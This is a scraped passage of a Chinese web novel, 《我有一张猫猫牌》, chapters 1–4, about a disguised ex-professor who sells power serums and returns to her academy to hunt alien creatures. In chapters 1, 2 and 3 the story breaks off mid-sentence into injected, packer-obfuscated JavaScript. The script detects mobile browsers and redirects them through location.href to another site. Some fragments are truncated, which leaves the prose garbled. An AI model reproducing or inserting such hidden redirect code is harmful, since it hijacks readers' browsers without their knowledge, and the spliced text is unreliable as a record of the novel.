《我有一张猫猫牌》 1. 第 1 章 稀风稠夜,鸦噤鼠藏。谢然随手抽了张牌,上边显示今日卦象——大凶。 眉头一紧,目光落到破旧的玻璃门上,不过多久,从外闪进来一道模糊的身影,十分谨慎地将小卖部不透明的闸门拉上,隔绝店外的视线。 她轻轻啧了声,这般小心翼翼,应该是个被追杀的亡命徒。 那人蒙着面,从体形上看应该是个身材健硕的男人,快速扫了眼谢然身后的柜台,拿枪抵住她脑门:“把最厉害的异能交出来,钱管够!” 谢然哼笑了声,慢悠悠跷起二郎腿:“客人,看来你不是很了解我这儿的规矩。” “少废话!”那人声音发抖,余光总不由得往门口看,声音尖锐了几分:“赶紧把东西交出来,不然老子毙了你!” 谢然眼神骤然变冷:“你可以试试。” 那人握枪的手发虚,早在他掏枪出来的那一刻,谢然就知道枪里没有子弹。 他紧紧咬了下后槽牙,把枪收了回去:“老子今天心情好,不要你小命。但老子没空跟你废话,赶紧把东西交出来!” 谢然淡声说:“你想要最强的异能,得留下一条腿和一只胳膊给我。” 那人重新把枪拾起来,黑漆漆的枪口再次对准她:“开什么玩笑!” 他刚从监狱逃出来,要用异能解决掉门外那些联邦军然后逃走,若成了个残废,还怎么跑? “想要什么都得付出相应的代价。”谢然从身后的柜台拿出一支红色试剂,用针管取出一点,放到桌上:“否则贪得无厌的人会得到应有的惩罚。” 那人紧盯着针管,喉结滚动,仿佛针管里的液体对他有无限诱惑力。但觑着谢然高深莫测的神色,态度不由谨慎起来:“惩罚是什么?” 谢然没说话,那人抬头,目光落到谢然左眼上:“惩罚是这个吗?” 她左眼戴了块白色方形眼罩,细窄的绑带绕过两鬓系在脑后。亡命徒想到不久前听到的传闻,这间小卖部老板是个独眼半瞎子,只是不知瞎掉的一只眼是不是她受到的“惩罚”。 谢然右眼微阖,说了句没头没尾的话:“我的异能只有D级,而桌上这支异能为S级。” 那人却听懂了,老板算是认同了他的猜测,且提醒他异能等级越高,付出代价越大。他要用命去赌,是主动献上半副躯体,还是接受尚未可知的“惩罚”。 想获得S级异能,他受到的惩罚绝不是失去一只眼那么简单。 但交付半副躯体的代价对他来说太重,他抱着侥幸心理选择了后者。 针管刺入皮肤,亡命徒咬紧牙关将深红色的试剂推入血管。 药剂注入皮肤的一瞬,他只觉一股强大的力量灌入四肢百骸。但还没等他高兴,他的肌肉开始不受控制地抽动,剧烈的疼痛撕扯他的身体。不过转瞬,连一声惨叫都来不及发出,他的身体竟瞬间爆裂,破碎成细碎的尸块。 谢然眼疾手快,按下桌旁按钮。男人脚下裂开一个极深的大洞,在他的身体没爆裂前,人便向着无底深渊坠了下去。 洞口闭合,破旧的小卖部里没留下任何痕迹,仿佛那位客人从没来过。 “不想付出代价的惩罚就是——死亡。”谢然目光微沉。那种超自然的能量人体无法承受,需要创口将多余的能量释放出去,否则就会爆体而亡。 不论什么等级的异能,都要付出代价。唯一的区别是代价多少不同。 像她获得D级异能,便只需弄瞎一只眼。但想获得S级异能,至少得砍下半副身躯。 好在联邦现在技术发达,拿掉的身体部位用机械义肢代替也无不可,但谢然没钱,只能先将就着用一只眼。那亡命徒应该和她一样囊中羞涩,才选择拿命去赌。 处理完尸块,谢然将异能试剂放了回去,重新拉开小卖部的闸门。 不过片刻,寂静的贫民窟响起混乱的脚步声。 几个穿军绿色制服的联邦军粗鲁地推开玻璃门,闯入店中。为首者将手中的枪管指向谢然:“刚才进来的逃犯呢?” 面对真枪实弹,谢然缓缓举起双手:“不知道。” 为首者不信,枪逼近了些许:“包藏逃犯是死罪,你最好老实交代!” 谢然说:“我这里不过是间卖零食的小卖部,不足十平米能一眼望到底,能藏什么人?” 联邦军这才开始打量她背后的柜台。方才那一柜试剂已被隐去,取而代之的是满柜的零食饮料,的确没法藏人。 几人对视一眼,为首者把枪收回,大手一挥:“走。” 谢然缓缓放下手,怎料那人走到门口忽然转头,深深看了她一眼。 待人全部离开,桌上那盒占卜牌自己立了起来,一张画着胖猫国王的牌从纸盒里飞出,停到谢然面前,戏谑道:“你被怀疑了。” “我知道。”谢然心情不是很愉快,看来今天不宜开张。 “过不了多久,这家店就会被盘查。你藏试剂的柜子不是什么高级的机关,骗骗那几个蠢蛋还行,来个稍微聪明点的,肯定要暴露。”胖猫声音里透着几分嘲弄。 谢然说:“你想让我再换个地方?” 纸牌微微弯了两下,像是点头。 谢然凝眉沉默。自打从监狱假死逃生,她用“谢然”这个身份东躲西藏,已经换了十数个星球,却因出售异能是违法的买卖,一直没能摆脱联邦的怀疑。 她浪费了太多时间,眼看“大灾难”就要来临,异能却没卖出几个。 没有异能,联邦便没有与“大灾难”抗衡的力量。偏异能资源有限,她只能将其交给肯为联邦牺牲的人。 像刚才那个连一点代价都不愿付出的亡命徒,绝不在她考虑范围之内。 胖猫说:“三个月前我预测离‘大灾难’降临最多不超半年,你没有时间再继续筛选了。” 谢然嘴唇轻抿,时间紧任务重,到底如何才能在最短的时间里,找到值得信任的伙伴? 裤口袋里响起一道短促的铃声,谢然掏出手机,发现竟是卡尔德里斯学院的录取通知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565289|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书。 [恭喜你已被我校录取,请于9月1日前前往首都星报道,逾期作废。] 这是她第二次收到卡尔德里斯的录取通知书,“谢然”原主曾于三年前考入这所联邦第一学府,却在报道途中出现意外,身体被现在的她捡了漏。 凡被卡尔德里斯录取的学生有三年时间考虑是否入学。这是谢然曾任职过的学院,也是她被关进监狱判处死刑的地方。去年她也收到了“谢然”的录取通知书,却因害怕身份暴露不敢入学,而如今…… 除了卡尔德里斯,她似乎没有其他更好的去处。 且学院里群英荟萃,恰好是推销异能的好地方…… 胖猫也是这般想,纸牌在谢然眼前左摇右晃:“最危险的地方就是最安全的地方。况且你现在是学生谢然,任谁也猜不出谢然的身体里住着‘杀人魔’雷安特教授的灵魂!” “你说的没错,”谢然伸出两指夹住纸牌:“但我们得先搞清楚,去学校是为了什么?” “推销异能啊。”胖猫理所当然道。 “不,除此之外,我还有更重要的事要做。”谢然眸色微沉:“我不信当年学院里的异域生物被杀干净了。这次,我要把它们全部揪出来。” 而且,她的异能试剂是从异域生物的身体里提炼出来的,杀死那些异域生物,说不定能获得更多异能。 三年前,身为雷安特教授的她察觉部分学生被异域生物替代,那些学生灵魂已被吞噬,她只能把他们的肉/身毁灭,才消除了寄宿在其中的异域生物。此行却被不明真相的审判官误会成她残害学生。雷安特教授锒铛入狱,经过几番挣扎才以“谢然”的身份逃了出来。 当年行事太着急,没来得及肃查全体学生便被关进监狱。如今重返学校,她不光得将那些异域生物赶尽杀绝,还得弄清楚它们从何而来,为什么要霍乱联邦? 胖猫预测的那场大灾难,便是在不久的将来,会有数以千计的异域生物闯入联邦,其实力远超如今的异域生物。谢然必须在那之前,搞清它们全部底细。 胖猫说:“若学校真有异域生物,隐藏三年早已变得无比狡猾,你要怎么做?” 谢然沉思片刻,忽然灵光一闪,打了个响指:“整容。” “整容?”胖猫不明所以,视线落到谢然的眼罩上:“你要去装机械眼?你有钱么?” “不是。”谢然说:“我要整回雷安特的模样。” 以联邦物价,整容比装义眼便宜多了,这点钱她还拿得出来。 胖猫倒吸一口凉气:“你疯了?雷安特是整个卡尔德里斯最憎恨的人。你顶着那张脸回去,不怕被怀疑?” 谢然摇头:“你刚才也说了,现在我是‘学生谢然’,只要他们不知道我用异能交换身份的事,就猜不到我是雷安特。” 但了解异能的异域生物见到她那张脸,定然会心生波动。她要以自己为饵,往卡尔德里斯学院里抛一颗惊雷,引那些躲在暗处的异域生物主动现身,然后一网打尽。 2. 第 2 章 9月1日,谢然坐上星际飞舰,前往首都星的卡尔德里斯报道。 进入校门口时,登记名册的老师朝她频频侧目,她填好信息,顺口解释:“雷安特教授曾是联邦最杰出的人才,我倾慕她才将脸整成了她的模样。至于她之后出事,并非我能预料的。我的脸动了上千刀,医生说再整回去可能会毁容,所以只能保持现状。老师莫怪。” 听她解释完,那老师神色才缓和了些许,把校园卡和宿舍门禁卡递给她:“女寝八栋416,晚上十一点门禁,不允许晚归、逃寝。” “知道了,谢谢老师。”谢然接过两张卡,拖着行李往宿舍走。 卡尔德里斯虽是公校,但能入学的大多是贵族子弟,像谢然这样的平民很少。一路走来雕梁画栋,连宿舍也建得富丽堂皇,一人一间,家具精致齐全。 猫猫牌从牌盒里飞出来,落到谢然肩上:“这不比你那贫民窟好多了。” 谢然把行李箱放倒拉开,把生活用品一件件拿出来摆好:“唯一美中不足的,是不能把小卖部开到这里。” 她不能在学校这种地方大张旗鼓售卖异能,只能把店搬到暗网,搞线上销售。 暗网连通整座阿尔法星系上百颗星球,人多且杂。入学后谢然没精力应付那么多人,只将店铺入口面向卡尔德里斯学院。 也就是说,只有IP位于卡尔德里斯的人,才能看到她的小卖部。 胖猫说:“线上搭线,确认对方身份后再转线下交货,安全高效。而且暗网不受联邦管辖,里面全是不能流通于市面的黑色交易。你混在里面也不用担心再被追查,一举两得。” “是啊。”谢然抬手摸了下右边耳垂。这里戴着一大一小两颗黑色耳钉。较大的那颗实则是一个空间容器,是她从暗网购买的,能屏蔽所有安检设施。她所有的异能都放在里面。 谢然整理完东西,刚起身想去外头转转,门外忽然传来一道怯生生的声音:“你好,请问需要帮忙吗?” 谢然面色一顿,才发现刚才自己竟没把门关紧。肩上的猫猫牌来不及躲藏,吓得毛都立了起来。 门外的女生看到会飞的猫猫牌,惊讶地张大嘴巴:“这、这是什么——” 谢然赶紧把她拉进来,关上门,笑着解释:“一款纸牌玩具,我家乡的特产。” 阿尔法星系有数百个星球,千奇百怪之物层出不穷。女生没多想,只“哦”了声,然后略带歉意说:“真不好意思打扰你,我叫苏祺,住隔壁415。本来想问问有没有什么需要帮忙的,但看你这里……好像收拾得挺整齐的哈。” “我东西比较少。”谢然打量她的神色,女孩微微低着头,似乎不太敢与人对视,显得气场有些弱。谢然跟她握了下手:“叫我谢然就好,都是初来乍到,或许我们可以一起去学校里转转。” 女孩抬起头,声音听着轻松不少:“好!我到外面等你。” 说完,她走出房间,并很有礼貌地关上门。 猫猫牌略松了口气,斜眼睨着门口说:“无事献殷勤,定没安什么好心!” “安没安好心会会就知道了,总不能入学第一天就碰上异域生物吧?况且她也才刚入学。”谢然说:“她姓苏,应该是个没什么家世背景的平民。学校里那些贵族千金少爷们惯会抱团欺负人,她或许只是想提前打点好关系。” 胖猫说:“你也是平民,能帮她什么?” 谢然扬眉:“你看我好欺负么?” 胖猫:“……” 的确,他很难想象谢然被人欺负的画面。 谢然拉开门,猫猫牌大剌剌立在她肩上。既已被人发现,他便懒得再藏。 苏祺见到谢然,嘴角立马扬起笑容:“走吧,你想先去哪儿?” 谢然思索片刻,说:“先去学校最著名的象牙塔看看吧。” 苏祺挠头:“那地方可进不去。” 象牙塔里住着卡尔德里斯学院的校长,也是联邦最尊崇的大主司。塔外有三百骑士团成员共同守卫,寻常人根本无法踏足。 谢然说:“自塔外远远望一眼就好,全联邦谁不想沾沾大主司圣泽的光辉?” “那倒是。”苏祺认同道。 胖猫凑到谢然耳边,悄悄说:“你想见大主司?你还是觉得,当年能从监狱逃脱,是他救的你?” 他声音很小,但苏祺耳朵灵,惊讶转头:“它竟然会说话?” 谢然心脏猛地一提,幸好苏祺神色没有异样——她没听清胖猫说了什么。 谢然幽深的眸子微不可察瞥了猫猫牌一眼,猫猫牌趴到她肩上,老老实实装死。 “见笑了,这小玩具是个碎嘴子。” “原来真是它在说话,刚才我还以为我们身后来了个男生呢。” 不怪苏祺想差,胖猫声音清越,宛若清露晨流,新桐初引。与坐在王座上睥睨四方的猫国王形象完全不符。 苏祺很想跟猫猫牌说两句话,但见谢然把牌藏了起来,便很有分寸地不再继续说。 象牙塔位于学校东南角,塔身洁白如雪,在熙日照拂下熠熠生辉。塔外环着近三米高光滑的石墙,上面没有一丝缝隙,无法攀爬。 谢然记得,三年前塔外没有这堵石墙。苏祺说:“听说三年前大主司在塔内遇刺,之后曲家家主曲随山便着人修了这道石墙。” “遇刺?”谢然略有些讶异,她怎么没听说过? 苏祺看了她一眼,说:“大主司遇刺时,正好是雷安特教授被关押的那段时间。坊间猜测那人是同伙雷安特教授的同伙,想胁迫大主司放了雷安特教授。” 谢然拧眉,她可不知道自己有什么同伙,行刺之人估计只想趁乱得手。 毕竟当时她残杀三十七名学生,学院里人人自危。大主司调出骑士团二百人分散到学院各处守卫学生安全,象牙塔防备疏忽,这才让人捡了漏。 不过,望着眼前光滑的高墙,谢然面色暗了几分。 那刺客虽没得手,但着实给她添了不少麻烦。 等找机会她得再亲自来一趟,看看能不能找个法子混进去。 谢然跟苏祺把整个学校逛了一圈,除了象牙塔,其他地方变化不大。 两人最后经过濯星坛,这里林立着每个时代获得最高学术成就的教授石像。雷安特的石像原本也在其中,但是现在…… 谢然放眼望去,她的石像应该已经被撤走了吧。 “咦?我记得就在这里……”苏祺兀自喃喃往里走。 “在找什么?”谢然问。 “雷安特教授的雕像,我记得就在门口这片,怎么不见了……”苏祺说。 谢然嘴角微抽:“她现在是卡尔德里斯的罪人,尸体不被钉在耻辱柱上就不错了,雕像……应该早就被敲碎挪走了吧。” “是么……” 苏祺还想再往里寻一寻。谢然跟上去:“为什么要找雷安特教授的雕像?” “因为……不管别人怎么说,我还是挺崇拜她的。” “崇拜?”谢然觉得稀奇,崇拜一个十恶不赦的杀人魔吗? 苏祺点头:“她是卡尔德里斯建校来,第一位平民阶层的教授。听说她年少求学时受了贵族不少欺负,我很佩服她坚持下去的勇气。” 谢然眉梢微挑,受欺负么?她没什么感觉。卡尔德里斯靠实力说话,来找碴的打一顿就好了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565290|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >濯星坛深处传来熙攘的声音,谢然有些意外:“竟然还有人?” 循着声音朝里走去,只见几个女生对着一座破旧的石像胡乱涂画,听到谢然两人脚步声,嬉笑声一停,朝她们看过来。 “你们就是班里那两个平民?” 最里侧的女生收了水笔,上下打量了两眼她们朴素的穿着,眼神里带着毫不遮掩的鄙夷。 苏祺害怕地往后缩了缩,谢然的目光却落到她们涂鸦的石像上。 那是雷安特教授的石像。如今被摆在濯星坛最深处,任由学生图画。 女生看到谢然的脸,怔了片刻,嗤道:“那杀人魔害了那么多学生,竟还有那么多不分轻重的狂热粉丝,真让人恶心!” 谢然闻言,目光这才落到女生身上。如果她没猜错,这位应该是裘家的小千金,裘落雨。 行事张狂,刁蛮骄纵,不愧是裘家的作风。 当年她在狱中那般凄惨,裘家可没少出力。 谢然嘴角挑起一抹微不可察的弧度:“你对我的脸很有意见?” 裘落雨冷笑:“平民就该老老实实给贵族提鞋,别妄想考入卡尔德里斯就能飞上枝头变凤凰。雷安特是个例外,别以为你们能步她后尘,小心落得跟她一样的下场!” 苏祺深吸一口气,大着胆子说:“联邦倡导平等,就算你是贵族,从人权上,我们是一样的!” 裘落雨双眸微眯:“平等?我和你的差距,比你和狗的差距都大,信不信我一句话就能让你退学——” 啪——! 清脆的耳光甩到脸上,谢然甩甩手,许久不打人,这一下她还有点不适应。 裘落雨脸上迅速肿起个巴掌印,难以置信看向谢然。 她是贵族女,打小经受严苛训练,不是娇滴滴的弱女子。按理说她应该能在别人出手时就反应过来,并及时反制。但谢然出手太快,快到有一瞬间她都恍惚是不是谢然打了自己。 她周围的女孩迅速围过来,眼里满是戒备,但不敢吭声。 谢然说:“裘锡金没教你怎么说话,我帮他教。” 裘落雨瞬间瞪大眼,裘锡金是她父亲,这是赤裸裸的羞辱! 谢然两手抱臂,语气散漫:“不服?” 身后忽然传来一道男人的呵斥声:“怎么回事?” 谢然转头,手掌下意识攥了一下,竟是老熟人秦瑞教授。 秦瑞看到她的脸,也狠狠怔了怔,下意识说:“小安……” 谢然及时打断他:“老师好,我是一年2班的谢然。” 现在的谢然到底年轻几岁,与记忆里成熟稳重的雷安特并非一模一样。秦瑞很快反应过来,敛了神色说:“学校禁止喧哗,你们在吵什么?” 裘落雨咬牙,她打不过谢然。虽学校不允许打架斗殴,她完全可以告状。但她有身为贵族女的傲气,不允许自己连个平民都打不过的事被别人知道。 犹豫片刻,最终还是瘪了嘴,决定把这口气先暂且咽下去。 来日方长…… 秦瑞本就因见到雷安特的脸,心乱了三分,见没人吱声,便想草草揭过。刚转身准备走,怎料存在感最弱的女生突然开口,说:“她们随意涂鸦教授石像,老师难道不管吗?” 秦瑞倏地驻足,谢然目光饶有兴致在他脸上转了两圈,见他渐渐露出为难的神色,眼神便淡了下去。 秦瑞说:“这位教授毕竟是卡尔德里斯的罪人。” 即使学生在雷安特石像上乱涂乱画,他也不能拿这事做惩罚。不然就有维护罪人之嫌。 听懂他言外之意的谢然,嘴角冷冷一提,曾经残存的那点同僚之情顿时烟消云散。 3. 第 3 章 回宿舍时,苏祺敏锐察觉谢然心情不是很好。 一路无言,直到宿舍门口,她才小心翼翼开口:“明天早八有课,记得定个闹钟,别迟到了。” “嗯。” 谢然看了眼课表,明早第一节是格斗课,想到学校里教格斗的只有秦瑞一个,额角忍不住轻抽。 真是不是冤家不聚头…… 联邦崇尚力量与个人实力,卡尔德里斯向联邦输送全能人才。在这里毕业的学生,最好的出处是通过骑士团考核成为守护大主司的一员。但每年骑士团只招收十人,剩下的毕业生则会加入各星球的军区。即使在热武器盛行的当下,格斗也是每个军人必备的素养。 谢然踩着点到格斗教室,环视一周,发现自己竟是最后一个。 打了个哈欠走到最角落的位置席地而坐,袖子被旁边的人拽了两下,谢然转头,是苏祺。 “然、然宝……” 藏在衣领下的猫猫牌打了个哆嗦:“才认识一天就喊这么亲,此人果然很有问题!” 谢然按了下衣领让他闭嘴,看向苏祺:“什么事?” “没……”女生顺势坐到她旁边:“我今早敲门叫你,你没醒。还以为你要迟到了……” “哦。”谢然蹭了下鼻尖:“昨天睡得晚,没听见你敲门。” 昨晚她原想再去象牙塔一趟,奈何新生入学第一夜宿管查得严,轮班巡逻了一整夜。谢然一直留意门外的动静,几乎没怎么睡。 苏祺没多想,往旁边看了两眼,压低声音说:“然宝,待会儿格斗课要组队练习,你能不能和我一组呀?” 谢然看了她一眼,说:“行啊。” 捕捉到苏祺悄悄松了口气,谢然垂下眸子,大概猜到苏祺为什么频频对她施放好感。 平民是这个学院的珍稀物种,打她进教室到现在,便感受到无数目光在打量自己。其中不怀好意者占了绝大多数。 平民学生在卡尔德里斯生存不易,如果不抱团取暖,少不了像昨天那样被贵族欺负。 上课铃响,周围细细碎碎的交谈声稍停,学生列整归位,秦瑞踏入格斗场。苏祺仗着离老师远,凑到谢然耳边,讶异道:“没想到他竟是格斗课老师!” 不光苏祺惊讶,不少学生也露出讶异之色。秦瑞身形修长,面容白净。既没有虬结的肌肉,身上也没有肃杀之气,完全不像一名擅长格斗的战士,倒像个文弱的读书人。 谢然说:“别看他这样,据说整个卡尔德里斯单挑没有一位教授打得过他。” 苏祺震惊地瞪大双眼:“连雷安特教授都打不过他吗?” “这我就不知道了。”谢然淡淡道。 她和秦瑞都是技巧型选手,但秦瑞野路子出身,骚招太多,每次快输的时候就开始不择手段,以她意料不到的方式得手。她和秦瑞打过近百场,每次打都气得冒鬼火,偏还赢不了。以至于谢然每次见他都条件反射手痒,想上去梆梆给他两拳。 谢然的话只有苏祺听得到,其他学生仍难以置信他们的格斗老师是这样一个小身板。秦瑞清了清嗓子,顶着满场不信任的眼神开口:“这是你们在卡尔德里斯第一堂课,想来你们对卡尔德里斯的规则还不甚了解,老师先简单介绍一下。” 谢然又打了个哈欠,缩在角落偷偷合上眼。卡尔德里斯的学分规则她比谁都清楚,不想听秦瑞絮叨,干脆趁机补觉。 秦瑞余光扫过谢然,声音一顿,但并没有说什么,视线很自然地从她身上掠了过去,继续道:“卡尔德里斯没有期末考,获取学分的方式只有一个——完成学院派发的任务。如今联邦并不太平,瓦尔德姆的残党隐在暗处蠢蠢欲动。而你们的任务,便是在发现乱贼异动时前往各个星球,将其歼灭。” 千年前,西索弗利斯联盟与瓦尔德姆帝国为争夺领地,展开一场长达八年的星际大战。双方僵持不下,无数星球沦为战争牺牲品,生灵涂炭横尸遍野。最终大主司米里埃设计歼灭瓦尔德姆核心部队,令瓦尔德姆余下部队溃不成军,才迅速结束战争。 战争结束后,西索弗利斯在阿尔法星系建立大一统联邦。本以为和平终于降临,不料瓦尔德姆贼心不死,暗中积蓄力量,不过二百年便卷土重来,以游击战的形式搅得联邦不得安宁。 据说瓦尔德姆没有被完全击溃,是因为他们还保留着一个王室血脉。千年来联邦派出无数追查兵,隐匿在星系各个角落,想找到并铲除那个血脉,却一直无功而返。 直到三年前,保护王室的小队露了个破绽,联邦派军围剿。本以为能将其一举歼灭,不料在最后关头,那支小队竟以自爆为饵,趁联邦军稍有松懈,在浓雾中架一艘小舰逃了出去。小舰自带信号屏蔽装置,卫星无法对其定位,最终谁也不知它驶向了何处。 这无疑是这场千年争斗史的一次大失败。帝国残党重获喘息和发育的机会,并且彻底隐匿于暗中。好在其贼心不死,在休整了一段时间后仍继续出来四处游击,试图挑起联邦内乱。 虽给联邦带来不少麻烦,但也给了联邦追查他们踪迹的机会。卡尔德里斯学生的任务,多半都与追查逮捕帝国残党有关。 这些都是联邦公民耳熟能详的事,秦瑞重点要说的,是卡尔德里斯完成任务的方式。每次任务既可组队也可单独行动。任务成功则根据每人贡献获得相应积分。在四年内攒够三十积分便可顺利毕业。所有任务都有一定风险,秦瑞推荐经验不足的大一生组队接一些简单任务,虽然积分少,但至少能保证安全。 所有任务都挂在官网,在完成前一直都是开放状态。有些比较吃香的任务会有不少小队同时接下,也有人半道截胡。最终积分只会给带回成果的那支队伍或个人。 谢然虽想休息,但听着秦瑞的讲述,大脑忍不住思考。三年前从那场围剿逃脱的残党不超过十人,即使联邦各处有不少残党分支,重新整合蓄积力量仍需耗费大量时间。但不出三月联邦某些小星便被不明势力袭击,与其说那是帝国残党,她更怀疑是异域生物作乱。 但联邦现在,似乎还没有意识到异域生物的存在…… 正想着该如何把异域生物的事公之于众,手肘突然被人轻戳了下,打断了她的思绪。 谢然撩起眼皮,见苏祺偏头小声说:“然宝,我们一起组队可以嘛?” 谢然半睁开眼,懒洋洋说:“你确定?我着急毕业,可不会接积分少的小任务。” 她要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565291|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接可能有异域生物出没的任务,危险系数高且很可能吃力不讨好。一开始她都没想和别人组队。 “额……”苏祺顿了片刻,把手放到面前握了下拳:“你放心,我一定……我尽量不给你拖后腿!” 谢然笑了下,觉得这小姑娘还挺有意思。 她若愿意跟就跟吧,说不定第一次被吓回来,往后便不愿跟她组队,也不必她再劝。 秦瑞事无巨细把规则讲完,终于开始授课。 第一节课他只教了几个简单招式,便叫学生组队练习。这些招式谢然熟到不能再熟,懒得再练。本想在旁边偷会儿懒,但她“队友”零基础入学,下盘不稳,一套打下来七零八落,实在不堪入目。 “稳住核心再出手,像这样。”谢然看不下去,起身扶正她的腰,却正好碰到她肚子上的软肉:“肌肉太少了。想要成为一名合格的战士,你得先增加力量训练。” 苏祺羞愧:“抱歉,之前光顾着读书,在这方面的确疏忽了……” 谢然说:“你要想入职军区文职,倒不必那么在意自身战斗素养。这种课能混就混过去。” “不,我还是想成为一名优秀的战士。” 面前女生眼神瞬间变得坚定,谢然笑了笑:“那就只能辛苦些了。” “我不怕吃苦。”苏祺说。 话音刚落,耳侧忽然传来尖锐的嘲笑声。 “我当是有多大能耐,原来连马步都不会扎。待会儿老师要随机点名PK,要是抽到你可怎么办呀?” 谢然目光一瞥,是裘落雨。 她将苏祺胳膊抬高,说:“打架不必太遵循既定的招式规则。尤其是面对比你强大的敌人,想办法出奇制胜才是关键,战场上敌人可不会跟你讲规矩。” 见谢然不搭理自己,小千金脸上挂不住,声音高了几分:“怎么,怕了?敢不敢和我比试比试?” 她认为昨日被打是一场意外,真动起手来,这两个都不是她对手。 她身后跟着的男生出声道:“不过是两个没经过系统训练的平民,你不必跟她们动气。” 苏祺忍不住看了他一眼,她在学生名册上见过,这位应该是格兰特家的小儿子——埃文。格兰特家依附于裘家,没想到格兰特家的儿子也是裘家小千金的舔狗。 裘落雨冷笑:“就因为是平民,本小姐才要好好教训她们,不然一个个心比天高,难道你想看到卡尔德里斯出现第二个雷安特吗?” 谢然冷淡的目光这才落到她脸上:“跨组比试属于斗殴,你想吃处分随意,但别来霍霍我们。” 裘落雨噎了一下,梗着脖子说:“老师又不在,你怕什么?” 她或许有些乌鸦嘴体质,话音刚落,秦瑞便从转出来,走上格斗台拍拍手:“行了,还有十分钟下课,老师随便挑两组上来比比,让老师看看你们练得怎么样。” 他打开一张光屏,上面飞速滚动班上每个学生的名字。裘落雨既期待又紧张,看到自己的名字第一个定格在屏幕上,下意识吞了口口水。 谢然的名字紧随其后,也弹了出来。谢然嘴角略微向上一扬,第一次正眼看向裘落雨,一字一顿说:“现在,我们有正当理由比试了。” 4. 第 4 章 卡尔德里斯的格斗场允许携带武器,裘落雨拿出惯用的银鞭,谢然却赤手空拳,什么也没拿。 “你不用武器,输了别说我欺负你!”裘落雨用鞭子指她。 谢然语气依旧冷淡:“等赢了再说吧。” 裘落雨最讨厌她这副冷淡如水的姿态,仿佛被瞧不起的是她。蓄力挥鞭,银色的金属长鞭以极快的速度朝谢然脸上打去。 她似要报昨日一掌之仇,挥鞭的力气极重。 然而,她所憎恶之人只将头微微一偏,便将她的鞭子躲了过去。 裘落雨气极,攻势愈加猛烈。她的对手却一直气定神闲,似全然不将她放在眼里。 谢然耐着性子与她过了几招,大抵摸清了她的水平,眉头不由微蹙—— 裘家小千金竟比她预想的要菜得多。 她怕引起怀疑,技巧和力道只用了三分,裘落雨却仍没有还手之力。 世家贵族竟没落至此! 谢然心情极差,她怎么指望这些天之骄子守护联邦? 一个反扣将裘落雨压在地上动弹不得,小千金第一次落败,还败得如此狼狈,气得脸颊涨红,口不择言:“松开!你个贱种!谁允许你碰本小姐的!快给本小姐松开!” 谢然不动声色,台下观战的同学表情却变得微妙。他们虽也瞧不起平民,却不敢表现得那么明目张胆,尤其还在老师眼皮子底下。 秦瑞面色倏地严肃起来,叫谢然把人松开,严肃道:“卡尔德里斯向来倡导平等和睦,裘落雨同学口不择言,罚抄校规三遍,明天送到我办公室。” 台下鸦雀无声,都知道秦瑞老师曾和雷安特教授关系最好,平日最讨厌贵族仗势欺人,裘落雨撞到枪口上,难免要吃些苦头。 那校规足有万字,连抄三遍,这位裘家小千金今晚怕是不能睡了。 谢然无视小千金气急败坏的表情,沉着脸跳下格斗场,刚准备跟苏祺一起回去,却被人喊住。 冲苏祺耸了下肩让她先走,谢然微微侧身,目光睨向身后之人。 “谢然同学,身手不错。”秦瑞自格斗场上走来,脸上挂着让人如沐春风的笑容,言语间却带着试探:“联邦教育资源分配不均,平民学子初入学时往往不是那些贵族子弟的对手。你能赢得今天这场比试,老师很意外。” 谢然眸色淡淡,懒得和他废话:“您有话不妨直说。” 如她所料,秦瑞不擅长应对直截了当的回应,试探的心思被她点破,当即表情一顿,语气挂上些许尴尬:“老师也没别的意思,就是想问问你之前师承何人?联邦教育资源昂贵,若能把师资力量普及……” “街头的混混,土匪,强盗。我师承的就是这些。”谢然打断他的拐弯抹角,冷道:“您应该知道,我出自贫民窟,里面各式各样的人都有。虽算不上穷凶极恶,但若没几分真本事,想活下去也难。我不是养尊处优的贵族小姐,没有受过系统教学,这一身本事都是我与人搏命学回来的。老师还要怀疑吗?” 秦瑞深吸了口气,被那双冰冷的眸子盯着,所有暗藏的心思都无所遁形。好在他心理素质过硬,很快收起所有波动的情绪,仍春风和煦般说:“老师不是针对你,只是你与老师曾认识的一位故人实在太像……” 谢然冷笑:“老师不会将我认作成她了吧?” “怎会,”男人很快否定道:“你们……很不一样。” “那就好,我也认为自己是独特的。没人想成为别人的影子,你说对吗,老师?” 男人笑了笑:“你是个很有想法的学生,希望你今后的校园生活顺利愉快。” “承你吉言,我会的。”谢然转身,头也不回离开格斗场。 本就不太美妙的心情又被秦瑞搅得一团糟,衣领下的猫猫牌探头,悄声说:“刚才有几道目光,在你身上打量了很久。” “都有谁?”谢然哑声问。 